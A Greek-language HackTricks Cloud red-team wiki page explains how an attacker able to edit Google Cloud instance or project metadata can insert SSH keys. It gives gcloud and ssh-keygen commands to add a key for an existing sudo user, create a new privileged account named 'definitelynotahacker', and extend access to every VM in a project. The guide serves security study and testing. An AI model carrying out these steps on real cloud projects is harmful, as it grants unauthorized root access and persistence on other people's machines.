GCP - Προσθήκη Προσαρμοσμένων SSH Μεταδεδομένων
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τροποποίηση των μεταδεδομένων
Η τροποποίηση των μεταδεδομένων σε μια παρουσία μπορεί να οδηγήσει σε σημαντικούς κινδύνους ασφαλείας αν ένας επιτιθέμενος αποκτήσει τις απαραίτητες άδειες.
Ενσωμάτωση Κλειδιών SSH σε Προσαρμοσμένα Μεταδεδομένα
Στο GCP, τα συστήματα Linux συχνά εκτελούν σενάρια από το Python Linux Guest Environment for Google Compute Engine. Ένα κρίσιμο στοιχείο αυτού είναι το accounts daemon, το οποίο έχει σχεδιαστεί για να ελέγχει τακτικά το σημείο μεταδεδομένων της παρουσίας για ενημερώσεις στα εξουσιοδοτημένα δημόσια κλειδιά SSH.
Επομένως, αν ένας επιτιθέμενος μπορεί να τροποποιήσει τα προσαρμοσμένα μεταδεδομένα, θα μπορούσε να κάνει το daemon να βρει ένα νέο δημόσιο κλειδί, το οποίο θα επεξεργαστεί και θα ενσωματωθεί στο τοπικό σύστημα. Το κλειδί θα προστεθεί στο αρχείο ~/.ssh/authorized_keys ενός υπάρχοντος χρήστη ή ενδεχομένως να δημιουργήσει έναν νέο χρήστη με δικαιώματα sudo, ανάλογα με τη μορφή του κλειδιού. Και ο επιτιθέμενος θα είναι σε θέση να παραβιάσει τον υπολογιστή.
Προσθήκη κλειδιού SSH σε υπάρχοντα προνομιούχο χρήστη
- Εξέταση Υπαρχόντων Κλειδιών SSH στην Παρουσία:
- Εκτελέστε την εντολή για να περιγράψετε την παρουσία και τα μεταδεδομένα της για να εντοπίσετε τα υπάρχοντα κλειδιά SSH. Η σχετική ενότητα στην έξοδο θα είναι κάτω από
metadata, συγκεκριμένα το κλειδίssh-keys.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Δώστε προσοχή στη μορφή των κλειδιών SSH: το όνομα χρήστη προηγείται του κλειδιού, χωρισμένο με άνω και κάτω τελεία.
- Προετοιμασία Αρχείου Κειμένου για Μεταδεδομένα Κλειδιού SSH:
- Αποθηκεύστε τις λεπτομέρειες των ονομάτων χρηστών και των αντίστοιχων κλειδιών SSH σε ένα αρχείο κειμένου με όνομα
meta.txt. Αυτό είναι απαραίτητο για τη διατήρηση των υπαρχόντων κλειδιών ενώ προστίθενται νέα.
- Δημιουργία Νέου Κλειδιού SSH για τον Στόχο Χρήστη (
aliceσε αυτό το παράδειγμα):
- Χρησιμοποιήστε την εντολή
ssh-keygenγια να δημιουργήσετε ένα νέο κλειδί SSH, διασφαλίζοντας ότι το πεδίο σχολίου (-C) ταιριάζει με το όνομα του στόχου χρήστη.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Προσθέστε το νέο δημόσιο κλειδί στο
meta.txt, μιμούμενοι τη μορφή που βρέθηκε στα μεταδεδομένα της παρουσίας.
- Ενημέρωση των Μεταδεδομένων Κλειδιού SSH της Παρουσίας:
- Εφαρμόστε τα ενημερωμένα μεταδεδομένα κλειδιού SSH στην παρουσία χρησιμοποιώντας την εντολή
gcloud compute instances add-metadata.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- Πρόσβαση στην Παρουσία Χρησιμοποιώντας το Νέο Κλειδί SSH:
- Συνδεθείτε στην παρουσία με SSH χρησιμοποιώντας το νέο κλειδί, αποκτώντας πρόσβαση στο shell στο πλαίσιο του στόχου χρήστη (
aliceσε αυτό το παράδειγμα).
ssh -i ./key alice@localhost
sudo id
Δημιουργία νέου προνομιούχου χρήστη και προσθήκη κλειδιού SSH
Αν δεν βρεθεί ενδιαφέρον χρήστης, είναι δυνατόν να δημιουργηθεί ένας νέος που θα του δοθούν δικαιώματα sudo:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
SSH keys at project level
Είναι δυνατόν να διευρυνθεί η πρόσβαση SSH σε πολλές Εικονικές Μηχανές (VMs) σε ένα περιβάλλον cloud εφαρμόζοντας κλειδιά SSH σε επίπεδο έργου. Αυτή η προσέγγιση επιτρέπει την πρόσβαση SSH σε οποιαδήποτε παρουσία εντός του έργου που δεν έχει ρητά αποκλείσει τα κλειδιά SSH σε επίπεδο έργου. Ακολουθεί ένας συνοπτικός οδηγός:
- Εφαρμογή Κλειδιών SSH σε Επίπεδο Έργου:
- Χρησιμοποιήστε την εντολή
gcloud compute project-info add-metadataγια να προσθέσετε κλειδιά SSH από τοmeta.txtστα μεταδεδομένα του έργου. Αυτή η ενέργεια διασφαλίζει ότι τα κλειδιά SSH αναγνωρίζονται σε όλες τις VMs του έργου, εκτός αν μια VM έχει ενεργοποιημένη την επιλογή “Αποκλεισμός κλειδιών SSH σε επίπεδο έργου”.
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- SSH σε Παρουσίες Χρησιμοποιώντας Κλειδιά σε Επίπεδο Έργου:
- Με τα κλειδιά SSH σε επίπεδο έργου στη θέση τους, μπορείτε να κάνετε SSH σε οποιαδήποτε παρουσία εντός του έργου. Παρουσίες που δεν αποκλείουν τα κλειδιά σε επίπεδο έργου θα αποδεχτούν το κλειδί SSH, παρέχοντας πρόσβαση.
- Μια άμεση μέθοδος για να κάνετε SSH σε μια παρουσία είναι η χρήση της εντολής
gcloud compute ssh [INSTANCE]. Αυτή η εντολή χρησιμοποιεί το τρέχον όνομα χρήστη σας και τα κλειδιά SSH που έχουν οριστεί σε επίπεδο έργου για να προσπαθήσει να αποκτήσει πρόσβαση.
References
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

